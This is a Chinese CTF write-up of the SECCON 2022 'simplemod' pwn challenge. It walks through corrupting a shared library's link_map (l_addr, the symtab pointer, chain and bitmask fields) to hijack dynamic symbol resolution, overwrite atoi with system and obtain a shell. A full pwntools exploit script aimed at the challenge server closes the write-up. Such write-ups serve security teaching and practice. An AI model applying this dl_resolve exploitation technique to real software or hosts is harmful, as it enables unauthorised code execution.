seccon 2022 quals -simplemod

news2024/11/16 7:45:36

文章目录

  • 题外话
  • 调试思路
    • 如何找到对应的link_map
    • 分析do_lookup_x
    • 我的构造payload
  • all_exp
  • 总结

题外话

这个题应该是seccon解题数量最少的了
这个题目其实和babyfile差不多,都是考虑0 lick,整体而言通过这两个题可以感受到出题者对于IO以及dl_resolv的理解深入
这个题目主要打法还是_dl_resolv,而这个在之前也有类似的题目,比如说HITCON 2015 -blinkroot也打的是_dl_resolve,但是还是有很多细微的差别,hitcon题目里他是在主程序里bss溢出,并且可以任意地址写,同时题目没开pie,所以我们可以利用任意地址写直接修改位于got[0]的link_map,然后再bss上伪造link_map结构体,由于link_map里面的l_info算是一个指针数组,所以需要利用no pie的缘故放指向bss的指针,可以在不知道libc的情况下利用got表里已经解析的地址加上libc函数固定的相对偏移来攻击
但secon的题目除了canary和got可写,其他全开,所以导致我们完全不知道任何地址,必须修改已有的link_map

调试思路

如何找到对应的link_map

最开始上来如果只是硬看源代码,其实我们也很难知道到底哪个结构体是放在limod.so里面,所以这里我是靠调试的手段
在这里插入图片描述

可以看到我追踪了几个主要的调用函数,在_dl_fixup的时候,主要就是取link_map里面的地址,但是我没发现有任何指向libmod.so里面的内容,所以我进入了_dl_lookup_symbol_x
在这里插入图片描述
然后进入这个的时候,我先大概查看了一下每个参数的值,有些是二级指针,需要解引用
在这里插入图片描述
我发现这symbol_scope里面有指向libmod的值,于是我重点关注这里
然后发现这里像是在遍历scope找到对应的值,于是感觉_do_lookup_x可能就是我们要找的函数
在这里插入图片描述
于是后来进入do_lookup_x看到了很熟悉的内容,这个就是在_dl_fixup出现的内容,大概感觉他是在遍历每一个map,寻找对应的,但第一次map还是不在libmod.so里,于是我c一下
在这里插入图片描述
这里我gdb重启了一下,所以偏移不一样了,可以看到刚好就是我们libmod.so里的link_map,并且算一下大概偏移
在这里插入图片描述
发现gbuf后面0xf80就是link_map结构体,刚好可以修改,于是我们重点分析这个函数
在这里插入图片描述

分析do_lookup_x

这里我们跟踪一下,有些地方逻辑大概可以忽略一下,然后一直回到这里,

在这里插入图片描述
这个是我们可以控制的
在这里插入图片描述
在这里插入图片描述
执行完这个可以发现值出来了,那我们看看这里究竟做了什么
在这里插入图片描述
在这里插入图片描述
[r8]就是我们可控的result地址的内容0x00007f71c544e000
而rdx不可写,+8值固定为0x00000000000012d3
在这里插入图片描述
在这里插入图片描述
可以发现0xf80地方控制的是基地址
在这里插入图片描述
其实也可以理解,因为他就是link_map的l_addr控制基地址
在这里插入图片描述
那么我们尝试把这里改成0试试

change(0xf80,0)

在这里插入图片描述
可以看到基地址变了,那么接下来我们可以利用这一点,去改变某几bit去控制exit_mem的函数地址
这里我们要考虑exit_imm后面还有什么可以利用的函数吗
在这里插入图片描述
这样发现好像没有,除非爆破,所以我们尝试看看能不能直接修改sym结构体
在这里插入图片描述
symtab是6 ,所以link_map+0x70偏移的地方就是symtab的基地址相关
他是这样的
symtab里面存储的是x
那么[x+8]=y y地址里面的值就是symtab的基地址
同时由于最后idx为9,根据实际调试他是y+0x1b*8 y+0xe8
在这里插入图片描述
这里面指针比较复杂,所以我就使用这个 ,这个刚好只用修改最后两位,而且能保证偏移后在我们可控的区域
在这里插入图片描述

edit(0xf80+0x70,0xe0-8)#change symtab

在这里插入图片描述
可以看到symtab已经很近了,然后我们去后面
可以看到sym已经在我们可控的地方了,那么具体内容我们可以按照原先的赋值,只需要修改st_value为我们想要的偏移即可
在这里插入图片描述
也就是00->18区域的内容,我们赋值过来
在这里插入图片描述

#0x58,fake symtab
change(0x58,0x000e001200000089)
symtab_st_value=0xdeadbaff
change(0x60,symtab_st_value)
change(0x68,0x000000000000000b)
modify(0xf80+0x70,0xe0-8)#change symtab

直接断到赋值这里,可以看到我们现在可以任意地址偏移了
在这里插入图片描述
在这里插入图片描述
接下来思考一下,我们要把这个偏移到哪里去
这个题目最大的问题就是官方没有给libc,如果官方给libc了我们完全可以利用one_gadget一把锁
所以还得思考一下

我的构造payload

因为这里我伪造了两个函数,一个是exit_imm,一个是__stack_chk_fail(这个没被解析过),所以如果通过bitmask==NULL会出现一点问题,我就选用else路线
在这里插入图片描述

#0x1280 改成0 进入else,这里+1是为了省一bit
change(0x1280+1,0,5)

这里因为我们修改次数有限,本来偏移是0x1280但是由于他的低一位为0,我就偏了一下,同时5代表修改5下,刚好可以覆盖为0
然后后面他其实类似于一个chain结构
比如说我最开始symidx为1,如果没找到查表,发现下一个l_chain[1]为3,那么symidx为3

#modify map->l_chain 都可以正常解析
modify(0x1288,0x4)

这里是我实际测得,因为exit_imm他最开始是1而__stack_chk_fail是3,如果不修改l_chain的话会导致我们无法构造sym结构体

#0x58,fake symtab for  idx 9 exit_imm
change(0x58,0x000e001200000089)#照抄
symtab_st_value=0x1263-0x18 #to call ___stack_chk_fail 
change(0x60,symtab_st_value,2)
modify(0x68,0xb)#照抄

#0x88,fake symtab for  idx b ___stack_chk_fail 
change(0x88,0x000e001200000000)#这里我把89改成0,因为check会比较字符串相不相同,但不知道为什么我比交的时候都是NULL,所以改一下就好
symtab_st_value=0xffffffffffe85a10-0x18+0x1b #to call system 具体的地址,后续会教怎么算
change(0x90,symtab_st_value,8)
modify(0x98,0xb)#原有的值 copy过来

上面的部分就是两个对应的结构体,其中0x58就是构造的解析exit_imm的,0x88是构造解析__stack_chk_fail,基本我是参考系统里面原有的结构体


modify(0xf80+0x70,0xe0-8)#change symtab,这个我前面讲了

modify(0xf80,0x18)# modify l_addr #这个我修改的目的是为了之后解析__stack_chk_fail覆盖到atoi,atoi刚好偏移0x18

大家可以注意到我的地址都减了0x18,因为
got表地址为reloc->offset+l_addr
value为l_addr+st_value
为了后面覆盖的是libmod里面的atoi,所以必须加上0x18(第一次exit_imm覆盖的是主程序的got不是libmod的)

下面我们来大概过一下
这里就是我所说的循环遍历,现在是exit_imm
在这里插入图片描述
第一次进来symidx是1,这个地址我们覆盖不了,所以他没找到,
在这里插入图片描述
第二次变成了9,就进入我们精心布置的
在这里插入图片描述
在这里插入图片描述
进行赋值
在这里插入图片描述
加起来刚好是
在这里插入图片描述
这里也可以看到,第一次赋值修改的是主程序的的got表所以我们第一次修改l_addr没影响
在这里插入图片描述
这里因为我们在lib里面去调用__stack_chk_fail,所以他自然会以lib的link_map为参考
在这里插入图片描述
可以看到经过l_addr整体的偏移,确实指向了atoi
在这里插入图片描述
这里第一次symidx为3,失败
在这里插入图片描述
第二次刚好进入11
在这里插入图片描述
刚才提到的改00的check就是这里
在这里插入图片描述
在这里插入图片描述
执行完之后确实被修改了,那为什么有0x1b的偏移呢

在这里插入图片描述
可以看到我们相当于定位到了这里

在这里插入图片描述
主要利用这里ret到menu,也就是主进程,这一点真的是太巧妙了…我不知道这个是怎么想出来的,如果没有这一点,这个题目其实也是做不出来的
在这里插入图片描述
由于回到menu后又会去调用lib里的modify函数,这个时候我们的atoi已经被修改了,所以我们输入/bin/sh
在这里插入图片描述
直接就调用do_system
在这里插入图片描述

all_exp

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chall"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc




if len(sys.argv) > 1:
    remote_ip = "simplemod.seccon.games"
    remote_port =7250
    io = remote(remote_ip, remote_port)
else:
    io = process(parm)




def debug_force():
    global io
    io.close()
    gdbscript = """
    set follow-fork-mode parent
    b fini
    c
    """
    io=gdb.debug(parm, gdbscript=gdbscript)


def modify(off, val):
   sla("> \n", "1")
   sla("offset: ", str(off))
   sla("value: ", str(val))

def change(off,val,cishu=0):
    if cishu!=0:
        for i in range(cishu):
            modify(off,val&0xff)
            off+=1
            val=val>>8
    else:
        for i in range(8):
            tmp=val&0xff
            if tmp==0:
                pass
            else:
                modify(off,tmp)
            off+=1
            val=val>>8
def exit():
    sla("> \n", "0")








#gbuf 0xf80开始的地方是link_map

#b dl-lookup.c:461
#b dl-runtime.c:126
#debug_force()

system_offset=0xffffffffffe0e000+libc.sym["system"]

#0x1280 改成0 进入else,这里+1是为了省一bit
change(0x1280+1,0,5)

#modify map->l_chain 都可以正常解析
modify(0x1288,0x4)

#0x58,fake symtab for  idx 9 exit_iveww 
change(0x58,0x000e001200000089)
symtab_st_value=0x1263-0x18 #to call ___stack_chk_fail 
change(0x60,symtab_st_value,2)
modify(0x68,0xb)

#0x88,fake symtab for  idx b ___stack_chk_fail 
change(0x88,0x000e001200000000)
symtab_st_value=system_offset-0x18+0x1b #to call system 
change(0x90,symtab_st_value,8)
modify(0x98,0xb)



modify(0xf80+0x70,0xe0-8)#change symtab

modify(0xf80,0x18)# modify l_addr



exit()
sla(b"> \n","/bin/sh\0")
it()

我这里相当于是写死libc和libmod的偏移,我不知道怎么打远程,因为远程的偏移这个真的还不好搞

总结

这个题目除了整体的dl_resolv比较巧妙,最后的do_system也是比较巧妙的一笔,利用这个我们可以回到main函数,然后进一步攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/12265.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阻止移动端 touchmove 与 scroll 事件冲突

在移动端开发过程中,如果要实现一个元素或按钮的拖动定位,会出现很多坑。例如:元素上下移动过程中,会触发 body 的 scroll 事件,导致整体的位置偏移,这时就需要 阻止移动端 touchmove 与 scroll 事件冲突 。…

confluent-kafka-go依赖库编译体验优化

文章目录问题描述:解决方案1:编写Dockerfile文件2:运行Docker镜像3:进入镜像进行编译4:将编译成功的二进制文件复制到本机参考地址问题描述: ​ 在项目中使用了go的kafka库confluent-kafka-go,…

力扣(LeetCode)2. 两数相加(C++\C)

模拟 模拟加法运算,设置进位数 ttt , t(l1t(l1t(l1->vall2vall2vall2->valt)%10valt)\%10valt)%10 即为当前位上的数, t/10t/10t/10 即是进位数。 设置哑结点,便于操作头结点。 模拟上述操作,最后返回哑结点的…

Windows11更新最新系统版本后无法播放媒体声音

故障机器Dell为例 step1:检测系统提示音是否正常,正常可观察第二步; step2:打开计算机管理-设备管理器-观察声音设备是否正常,可右键编辑重启驱动 step3:打开无法播放媒体声音的设备查看设置,Firefox为例 …

腾讯魏巍:Eunomia云原生资源编排优化

2022年11月10日,在中国信通院、腾讯云、FinOps产业标准工作组联合发起的《原动力x云原生正发声 降本增效大讲堂》系列直播活动第10讲上,腾讯Light云计算平台负责人魏巍分享了Eunomia云原生资源编排优化实践。本文整理自魏巍的分享。 云上资源优化背景 相…

为你的服务器集成 LDAP 认证

本文内容 为什么需要 LDAP 认证如何集成 LDAP 认证Nginx 篇Apache 篇Backend 篇本文小结回顾我这些年的工作经历,面向企业(2B)和面向用户(2C)的项目都曾接触过。我个人觉得,面向企业的项目更注重业务,参与决策的人数多、周期长,目的是为企业提供生产经营价值,如缩减成本、…

kotlin coroutine源码解析之suspend挂起函数原理

目录suspend挂起函数join原理Await原理Suspend函数总结suspend挂起函数 在idea中写某些协程函数的时候,会有一个绿色箭头图标的出现,如下图: 而且这些方法不放在协程里面写的话,idea编辑器还会报错,如下图&#xff1…

基于python的人力资源管理系统

摘 要 随着当今社会的发展,时代的进步,各行各业也在发生着变化,比如人力资源管理这一方面,利用网络已经逐步进入人们的生活。传统的人力资源管理,都是员工去公司查看部门信息、招聘信息,这种传统方式局限性…

第一个 Go 程序,从 Hello World 开始

1、开发编辑器 Go 采用的是UTF-8编码的文本文件存放源代码,理论上使用任何一款文本编辑器都可以做 Go 语言开发,这里推荐使用 VS Code 和 Goland。 VS Code 是微软开源的编辑器,而 Goland 是 jetbrains 出品的付费IDE。GoLand 开发工具时收…

linux 安装微擎

前言 OS: CentOS Linux release 7.6.1810 (Core)nginx1.12.2微擎 v2.7.4 环境准备 PHP 7.0MYSQL 5.7 安装mysql 5.7 参考 【Docker】 安装 mysql 安装PHP 7.0 参考 Linux 利用yum源安装php7.0nginx PHP 支持 GD2 yum install php70w-gd*安装完成后重启php PHP 支持 D…

从感知机到神经网络

一、神经网络的一个重要性质 1.1 重要性质 自动从数据中学习到合适的权重参数 1.2 称呼 共n层神经元,称之为n-1层网络 输入层中间层(隐藏层)输出层 1.3计算神经网络 节点值*权重值偏置值输出值 根据输出值的大小计算出节点值 输出值…

ICV:全球首份量子重力测量仪器市场分析报告。传统测量行业地位正被量子传感器商业化严重威胁,中国有望成为量子重力测量仪器市场最大赢家!

本报告的主要内容是对量子重力测量仪器进行市场分析,并对量子重力测量仪器科研方向、主要企业、关键应用、产业现状(科研需求、军用场景)、未来趋势等方面进行分析及预测未来的市场发展。 量子重力传感器原理为在真空环境中利用激光和磁场捕获…

11、Service访问Pod、Service IP原理、DNS访问Service、外部访问service

Pod可能因为各种原因发生故障而死掉,Deployment等Controller会通过动态创建和销毁Pod来保障应用整体的健壮性。Pod是脆弱的,但应用是健壮的。每个Pod都有自己的IP地址,当controller用新的Pod替代发生故障的Pod时,新Pod会分配到新的…

【Linux】Ubuntu、Debian下对deb包进行修改后重新打包——以MySQL安装包为例

需求 关于MySQL的lower_case_table_names参数,在Windows系统下和在Linux系统下,默认值是不同的。 Unix,Linux下默认为0,大小写敏感。创建的库表名将原样保存在磁盘上。如create database TeSt;将会创建一个TeSt的目录&#xff0…

Java项目:SSH在线水果商城平台含管理系统

作者主页:源码空间站2022 简介:Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 项目介绍 本项目分为前后台,分为普通用户与管理员两个角色,前台为普通用户登录,后台为管理员登录; 管理员…

webpack5 Core-js解决async 函数、promise 对象等兼容问题

为什么Core-js 过去我们使用 babel 对 js 代码进行了兼容性处理,其中使用babel/preset-env 智能预设来处理兼容性问题。 它能将 ES6 的一些语法进行编译转换,比如箭头函数、点点点运算符等。但是如果是 async 函数、promise 对象、数组的一些方法&#x…

《FFmpeg Basics》中文版-06-填充视频

正文 填充视频意味着向视频帧添加额外的区域以包含额外的内容。当输入应在具有不同宽高比的显示器上播放时, 通常需要填充视频。 填充视频基础知识 对于视频填充,我们使用表格中描述的填充过滤器。 描述在输入视频帧中添加彩色填充,该帧位…

HTML+CSS+JS大作业:商城网购网站设计——淘宝1页

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材,DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 在线商城购物 | 水果商城 | 商城系统建设 | 多平台移动商城 | H5微商城购物商城项目 | HTML期末大学生网页设计作业,Web大学生网页 HTML&a…

微信小程序获取用户头像昵称组件封装(最新版)

一、前言 微信小程序将在2022年11月08日对获取用户头像昵称信息的API再一次进行改动,这次的改动比较大。 更多详情查看公告:公告直达链接 我的项目比较多,而且大部分都是只需要获取用户的头像以及昵称,并不需要像官方的“最佳实…

袋鼠云数栈UI5.0体验升级背后的故事:可用性原则与交互升级

最近,我们袋鼠云的UED部⻔小伙伴们,不声不响地⼲了⼀件⼤事——升级了全新设计语言「数栈UI5.0」。 众所周知,用户在使用产品时,是一个动态的过程,用户和产品之间进行交互的可用性,能否让用户愉悦、快速地…